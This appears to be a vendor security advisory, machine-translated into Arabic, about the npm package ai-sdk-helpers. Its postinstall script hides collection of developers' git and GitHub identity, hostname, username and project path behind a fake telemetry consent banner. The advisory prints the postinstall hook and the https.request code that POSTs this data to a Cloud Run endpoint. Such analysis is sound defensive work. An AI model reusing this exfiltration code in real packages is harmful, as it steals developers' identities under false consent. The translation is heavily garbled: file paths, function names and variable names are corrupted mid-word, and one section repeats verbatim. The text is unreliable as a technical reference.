ConsentMask: حزمة npm التي تخفي هوية المطورين.

ConsentMask: حزمة npm تعرض لافتة موافقة على جمع بيانات القياس عن بُعد فوق عملية جمع هوية المطور

TL؛ DR

حزمة npm واحدة، أدوات مساعدة الذكاء الاصطناعي، تقدم نفسها كمجموعة أدوات إنتاج لـ Vercel AI SDK، حيث توفر تتبع التكاليف، والرجوع إلى مزود الخدمة الاحتياطي، ومساعدات البث.

يبدأ برنامج التثبيت الخاص به بإعلان أنيق يصف تشخيصات مجهولة المصدرمع التعهد بعدم إرسال أي شفرة مصدرية أو رموز مميزة أو بيانات اعتماد، مع الالتزام بـ DO_NOT_TRACK إلغاء الاشتراك، والربط بصفحة سياسة القياس عن بُعد.

ثم يقوم نفس البرنامج النصي بقراءة هوية git الخاصة بالمطور، وتكوين GitHub CLI، واسم مضيف الجهاز، واسم مستخدم نظام التشغيل، ودليل العمل، وموفر التكامل المستمر.

يتم إرسال تلك البيانات بتنسيق JSON إلى نقطة نهاية Google Cloud Run، مما يخلق تباينًا واضحًا بين سياسة القياس عن بعد المعلنة والحقول الفعلية التي تم جمعها.

تم نشر الحزمة في اثنين وعشرين إصدارًا خلال فترة واحدة مدتها 83 ثانية، ونص التثبيت متطابق تمامًا بايتًا ببايت عبر كل إصدار تم وضع علامة عليه.

سبعة من النسخ الثمانية التي راجعناها pipeline تم تصنيفها على أنها غير حاسمة بواسطة مصنف التعلم الآلي لأن تصميم لافتة الموافقة يبدو وكأنه بيانات تتبع شرعية.

نقوم بالتصنيف ai-sdk-helpers باعتبارها خبيثة بناءً على جمع هوية المطورين واستخراجها أثناء التثبيت.

الخطورة: عالية.

 تشريح عملية التثبيت

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

بعد التثبيت يعمل تلقائيًا على تركيب npm، قبل استيراد أي جزء من التعليمات البرمجية المعلن عنها في الحزمة. البرنامج النصي scripts/postinstall.js هذا هو المكان الذي توجد فيه جميع سلوكيات وقت التثبيت.

يبدأ البرنامج بقسم للتعليقات وإشعار وقت التشغيل مكتوب بلغة سجل مشروع مفتوح المصدر يراعي الخصوصية:

عند تثبيت ai-sdk-helpers، نجري فحصًا سريعًا لتوافق بيئة التشغيل ونقدم تقارير تشخيصية مجهولة المصدر. البيانات مجهولة المصدر تمامًا، حيث نجمع معلومات عن منصتك، وإصدار Node، ورمز تجزئة أحادي الاتجاه لمعرف جهازك. لا يتم إرسال أي شفرة مصدرية أو رموز مميزة أو بيانات اعتماد على الإطلاق.

بل إنه يقوم بتوصيل بوابة إلغاء الاشتراك العاملة، وهي أول رمز قابل للتنفيذ في الملف:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

إن وضع هذه البوابة أولاً هو ما يجعل الباقي يبدو وكأنه تم بالتراضي: مطور يحدد `Dغير متتبع يُكمل التثبيت بصمت ويُؤكد أن الحزمة تلتزم بالاتفاقية. خيار إلغاء الاشتراك المُحترم حقيقي. ما يُحظر، بالنسبة لكل من لم يُفعّله، هو المجموعة الموضحة أدناه - وليس "المنصة، وإصدار Node، ورمز التجزئة أحادي الاتجاه" المُشار إليه في الإشعار.

أسفل تلك البوابة، يقوم البرنامج النصي بتجميع حمولة تتجاوز ذلك الوصف بكثير.

  • *Gهوية t.* rحلScmالهوية()` رؤوس `~.gitconfig`,`~.config/git/config`,ومشروع `.it/config`,يقوم بتحليل `[ser]` القسم، ويعيد التكوين commit البريد الإلكتروني. إذا لم يُنتج ملف التكوين بريدًا إلكترونيًا، فسيتم اللجوء إلى `G`T_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,و `EAIL` متغيرات البيئة. يشير وصف الوظيفة أعلاه إلى أن عملية القراءة تُستخدم كوسيلة "لإزالة عمليات التثبيت المكررة عبر الأجهزة المملوكة لنفس الشخص (مثل جهاز كمبيوتر محمول + خادم تكامل مستمر)" - وهو غرض مُعلن يتطلب مُعرّفًا ثابتًا لكل مطور، وهو ما commit مستلزمات البريد الإلكتروني.
  • *Gحساب tHub.* rsolveGitHubIdentity()` رؤوس `~.config/gh/hosts.yml` nd `~.config/gh/hosts.yaml` ملف التكوين الذي يكتبه GitHub CLI عند مصادقة المطور — ويستخرج `u` باستخدام التعبير النمطيer:` nd `eil:` يحتوي هذا الملف أيضًا على رمز OAuth الخاص بـ GitHub؛ يستهدف التعبير النمطي للبرنامج النصي اسم المستخدم والبريد الإلكتروني تحديدًا، ولا يستخرج الرمز. وبالتالي، فإن عبارة "لا يتم إرسال أي رموز..." الواردة في إشعار الإفصاح صحيحة حرفيًا بالنسبة لهذا الحقل فقط، بينما تتم قراءة معرّفات الحساب المحيطة وإرسالها.
  • *Hبصمة st و CI.* ثم يقوم البرنامج النصي بجمع `o.hostname(),`o.userInfo().username`,إصدار Node، والمنصة، والبنية، `p`ocess.cwd()`,ويتم تحديد مُعرّف مُزوّد ​​التكامل المستمر (CI) عن طريق فحص متغيرات البيئة لثمانية مُزوّدين (GitHub Actions، وGitLab CI، وJenkins، وCircleCI، وTravis، وBuildkite، وعلامتين عامتين للتكامل المستمر). تُقرأ قائمة المُزوّدين كجرد لأماكن تنفيذ البرنامج النصي - واجهات سطر الأوامر التفاعلية وعمليات البناء الآلية. pipelineعلى حد سواء.

يتم تجميع كل هذه العناصر في عنصر واحد `dاللاأدريين bject، مع تجميع الحقول الخاصة بكل مطور تحت `iالكيان ey وبيانات المضيف الموجودة تحت `rntime` nd `cntext` ثم يتم تحويلها إلى سلسلة وإرسالها:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

يتم تجاهل الاستجابة وتجاهل جميع الأخطاء - ويشير تعليق إلى أنه "يجب ألا تتسبب بيانات القياس عن بُعد في تعطيل التثبيت". يشفر اسم مضيف نقطة النهاية خدمة Google Cloud Run في `erope-west1` إيجيون.

يكمن جوهر القصة في الفجوة. يشير الشعار إلى ثلاث فئات من البيانات: النظام الأساسي، وإصدار Node، وتجزئة مُعرّف الجهاز. أما الحمولة فترسل بيانات Git الحقيقية للمطور. commit البريد الإلكتروني، واسم المستخدم والبريد الإلكتروني على GitHub، واسم مضيف الجهاز واسم حساب نظام التشغيل، ومسار المشروع، وبيئة التكامل المستمر. الحقول التي تحدد *prson وحساباتهم* ما هي المجالات التي أغفلها الإفصاح تحديداً؟

يُعزز ملف README هذا الإطار من وجهة نظر أخرى. ويكرر قسم "القياس عن بُعد" فيه ادعاء إخفاء الهوية ويربط كلمة "D"غير متتبع o `cnsoledonottrack.comصفحة المجتمع الحقيقية التي توثق اتفاقية إلغاء الاشتراك - مستعيرةً خصوصية معترف بها standard لجعل الإشعار يبدو روتينياً.

الخط الزمني

هذا منتج فريد من نوعه، يتميز بتاريخ نشر قصير وكثيف للغاية. لا توجد حملة تسويقية تمتد لأسابيع عديدة يمكن تتبعها، فقد تم طرح جميع إصداراته بسرعة فائقة.

متى (UTC) الحدث/الفعالية
2026-06-03 20:31:20 الإصدار الأول (0.1.0) تم نشره على npm.
2026-06-03 20:31:20 – 20:32:43 جميع الإصدارات الـ 22 (0.1.0 من خلال 1.4.2) نُشرت في دفعة آلية مدتها 83 ثانية.
2026-06-04 تم رصد ثماني نسخ من خلال إشارات الكشف؛ ويؤكد التحليل اليدوي جمع بيانات الهوية وتسريبها أثناء التثبيت. كانت الحزمة لا تزال متاحة على منصة npm وقت إجراء التحليل.

تُعدّ نافذة الـ 83 ثانية عبر 22 إصدارًا دلاليًا مؤشرًا سلوكيًا بحد ذاتها: سلم الإصدارات (`01.0`,`01.1`,… `14.2`)يعرض هذا واجهة مشروع يتم تحديثه باستمرار مع سجل إصداراته، ويتم إنتاجه في عملية تشغيل واحدة مُبرمجة. لا يتغير نص التثبيت عبر هذه السلسلة - انظر أدناه.

مؤشرات الحل الوسط

تكون حمولة التثبيت متطابقة عبر نطاق الإصدارات المنشورة.ff` f `sripts/postinstall.js` إصدار etween `02.1 ` الإصدار الثاني `14.2 ` لا يُظهر أي اختلافات؛ فالسلوك عبارة عن بصمة ثابتة واحدة، وليس حمولة متطورة.

الانرنيت

تُعدّ نافذة الـ 83 ثانية عبر 22 إصدارًا دلاليًا مؤشرًا سلوكيًا بحد ذاتها: سلم الإصدارات (`01.0`,`01.1`,… `14.2`)يعرض هذا واجهة مشروع يتم تحديثه باستمرار مع سجل إصداراته، ويتم إنتاجه في عملية تشغيل واحدة مُبرمجة. لا يتغير نص التثبيت عبر هذه السلسلة - انظر أدناه.

مؤشرات الحل الوسط

تكون حمولة التثبيت متطابقة عبر نطاق الإصدارات المنشورة.ff` f `sripts/postinstall.js` إصدار etween `02.1 ` الإصدار الثاني `14.2 ` لا يُظهر أي اختلافات؛ فالسلوك عبارة عن بصمة ثابتة واحدة، وليس حمولة متطورة.

الانرنيت

مؤشر النوع
npm-package-logger-228835561205.europe-west1.run.app نقطة نهاية لتسريب البيانات تستقبل طلبات HTTPS POST مع حمولات JSON. مُستضافة على Google Cloud Run في europe-west1 منطقة.

بنية تحتية وهمية

مؤشر النوع
ai-sdk.guide الصفحة الرئيسية للحزمة والموقع المباشر يدعمان هوية مؤلف "دليل تطوير البرمجيات للذكاء الاصطناعي".
ai-sdk.guide/telemetry عنوان URL لسياسة القياس عن بُعد المشار إليه في إشعار الإفصاح أثناء التثبيت.
hello@ai-sdk.guide تم الإعلان عن البريد الإلكتروني للمؤلف في package.json.
github.com/ai-sdk-guide/ai-sdk-helpers مستودع المصدر الذي تم تحديده بواسطة الحزمة.

الملفات التي تمت قراءتها أثناء التثبيت

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` بريد
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` واجهة سطر أوامر GitHub `uإيه `e`

التوقيعات السلوكية

  • – م `بstinstall` أوك يستدعي نص برمجي مدمج من نوع Node
  • – بوابة الانسحاب (`أ_SDK_HELPERS_TELEMETRY_DISABLED`,`D(ليس_مُتتبَّعًا)تم تقديمها كميزة للخصوصية، قبل جمع بيانات الهوية
  • – إرسال طلب POST عبر HTTPS من tbound لكائن JSON يحتوي على بريد إلكتروني Git، وهوية GitHub، واسم المضيف، واسم مستخدم نظام التشغيل، ومجلد العمل الحالي، وعلامة CI
  • – نص تثبيت متطابق عبر سلسلة إصدارات تم نشرها بسرعة

 الإسناد والسلوك الملاحظ
لا ننسب أي شيء يتجاوز ما تسجله بيانات التعريف الخاصة بالحزمة والسجل.

المسؤول عن صيانة npm هو الحساب `aielsimon`,مع العنوان `أiel@vigilance.security`.يُدرج السجل هذا البريد الإلكتروني على أنه غير مُتحقق منه، كما يُدرج هوية التحكم في المصدر الخاصة بالحساب على أنها غير مُتحقق منها.ckage.json`,بشكل منفصل، يقدم المؤلف على أنه "دليل تطوير البرمجيات للذكاء الاصطناعي"ello@ai-sdk.guide>`”مع صفحة رئيسية من "أ-sdk.guide` مستودع مصادر ضمن `gthub.com/ai-sdk-guide` organization. نطاق البريد الإلكتروني لحساب النشر (`vigilance.security`)وهوية المؤلف داخل الحزمة (`a-sdk.guide`)هي مجالات مختلفة.

الـ `أ-sdk.guide` الموقع يعمل ويستجيب، و `/القياس الإلكتروني يتم حل المشكلة - يتم دعم الهوية الوهمية من خلال وجود ويب يمكن الوصول إليه بدلاً من رابط معطل، مما يزيد من مصداقية تأطير الحزمة.

**القدرة الملحوظة.** عند التثبيت، تقرأ الحزمة ملفات هوية المطور وتكوين الحساب، وتُحدد بصمة المضيف وبيئة التكامل المستمر، ثم تُرسل النتيجة إلى نقطة نهاية يتحكم بها المشغل، مع عرض إشعار يصف مجموعة بيانات أضيق نطاقًا ومجهولة المصدر. نوضح هذا السلوك، لكننا لا نُحدد دافعه. ينبغي على من يُقيّم الحزمة - بما في ذلك أي جهة تُدرك هوية الناشر - أن يُوازن بين التباين الملحوظ بين تدفقات البيانات المذكورة والفعلية.

من هو المعرض للخطر؟ أي شخص يقوم بالتثبيت أدوات مساعدة الذكاء الاصطناعي — بشكل مباشر أو كاعتماد غير مباشر — يقوم بتشغيل المجموعة على ذلك الجهاز. لأن المُشغِّل هو بعد التثبيتلا يتطلب تدفق البيانات استيراد كود المكتبة المُعلن عنه؛ فالتثبيت وحده كافٍ. وتُعدّ بيئات العمل ذات القيمة الأعلى هي محطات عمل المطورين المزودة بهوية Git مُهيأة وواجهة سطر أوامر GitHub مُصادقة، بالإضافة إلى مُشغّلات التكامل المستمر (CI)، حيث يُشير اكتشاف مُزوّد ​​التكامل المستمر في البرنامج النصي إلى أنه من المتوقع تشغيل المجموعة داخل عملية البناء. pipelineوكذلك على أجهزة الكمبيوتر المحمولة.

ما يكشفه ذلك. لا يتعلق الأمر بأسرار التطبيق في الحالة العامة - بل تتمحور الحمولة حول هوية: المطور commit البريد الإلكتروني، واسم حسابهم على GitHub وبريدهم الإلكتروني، واسم الجهاز واسم الحساب، ومسار المشروع. هذا ما قبلcisخريطة توضح من قام بتثبيت الحزمة، وعلى أي جهاز، وفي أي مستودع، وتحت أي نظام تكامل مستمر. بالنسبة للمؤسسة، فإن مجموعة من هذه السجلات ستحدد المهندسين وأنظمة البناء التي قامت بسحب التبعية - وهو أمر مفيد كخطوة تمهيدية لأنشطة لاحقة أكثر استهدافًا، على الرغم من أن سلوك هذه الحزمة يتوقف عند التجميع والنقل.

الاتجاه السائد: استخدام القياس عن بعد كغطاء. تقوم أدوات المطورين الشرعية بجمع بيانات تشخيص التثبيت بشكل مجهول، وتلتزم باتفاقيات القيام بذلك باحترام – مثل إشعار الإفصاح، و عدم التتبع الشرف، وعلامة إلغاء الاشتراك، وعنوان URL للسياسة - كلها أمور معروفة جيداً. أدوات مساعدة الذكاء الاصطناعي يُعيد هذا البرنامج إنتاج جميع تلك الاتفاقيات الأربع بدقة ويستخدمها كغلاف لجمع بيانات الهوية. إن وجود لافتة موافقة، أو خيار إلغاء اشتراك فعال، أو رابط لسياسة الخصوصية، لا يُعد دليلاً على موثوقية البرنامج؛ إذ يسهل تقليد هذه الضوابط. والتحقق الموثوق الوحيد هو ما يقرأه البرنامج فعلياً وإلى أين يُرسله.

يؤثر هذا التغليف أيضًا بشكل ملحوظ على الفرز الآلي. عبر جميع إصداراتنا pipeline بعد المراجعة، تم تصنيف التعليقات الواضحة في برنامج التثبيت، وأسماء الحقول المنظمة، وبوابة إلغاء الاشتراك التقليدية على أنها بيانات قياس عن بُعد عادية: سبعة من أصل ثمانية تم إرجاعها غير حاسم من مُصنِّف التعلّم الآلي وليس من جهة خبيثة. الإشارة التي تُزيل الغموض ليست في النصّ، بل في الملفات المُحدَّدة التي يفتحها البرنامج النصي.~ / .gitconfig, ~/.config/gh/hosts.yml) والوجهة التي تُرسل إليها. المراجع، سواء كان آليًا أو بشريًا، الذي يقرأ الإفصاح ويتوقف عند هذا الحد، سيصل إلى استنتاج خاطئ؛ يجب أن يستند القرار إلى حقائق تدفق البيانات.

إرشادات للمدافعين:

  • قم بالتثبيت مع تعطيل البرامج النصية افتراضياً — npm install --ignore-scripts، أو مجموعة ignore-scripts=true in .npmrc وقم بتشغيل خطوات البناء المعتمدة بشكل صريح. هذا يُلغي بعد التثبيت- تم تفعيل عملية جمع البيانات على نطاق واسع.
  • لا تعتبر خيارات إلغاء الاشتراك بمثابة إشارات ثقة. عدم التتبع لا يُخبرك رابط "سياسة القياس عن بُعد" أو "التحقق" بأي شيء عن البيانات التي يجمعها البرنامج النصي عندما لا يتم تعيين البوابة.
  • اقرأ تعليمات التثبيت قبل اعتماد حزم الأدوات المساعدة لنظام الذكاء الاصطناعي. يُعدّ مجال Vercel AI SDK هدفًا سريع التطور وعالي الموثوقية؛ بعد التثبيت هذا يلامس ~ / .gitconfig or ~/.config/gh/ إنها إشارة واضحة بغض النظر عن كيفية كتابة التعليقات المحيطة بها.
  • مراقبة حركة البيانات الصادرة أثناء عملية البناء. إرسال طلب HTTPS POST صادر أثناء تركيب npm، وخاصة بالنسبة لنقطة نهاية وظيفة سحابية تم توفيرها حديثًا، يمكن ملاحظتها على مستوى الشبكة وهي نقطة كشف قوية لبيئات التكامل المستمر.
  • انتبه لسجلات الإصدارات المضغوطة. إن الحزمة التي يظهر سجل إصداراتها الدلالي بالكامل في غضون ثوانٍ، مع نص تثبيت ثابت، تقدم سجل صيانة مصطنع.
أدوات تحليل التركيبات البرمجية sca
إعطاء الأولوية للمخاطر التي تتعرض لها برامجك، ومعالجتها، وتأمينها
احصل على حسابك المجاني.
أي بطاقة ائتمان.

قم بتأمين تطوير البرامج الخاصة بك وتسليمها

مع مجموعة منتجات Xygeni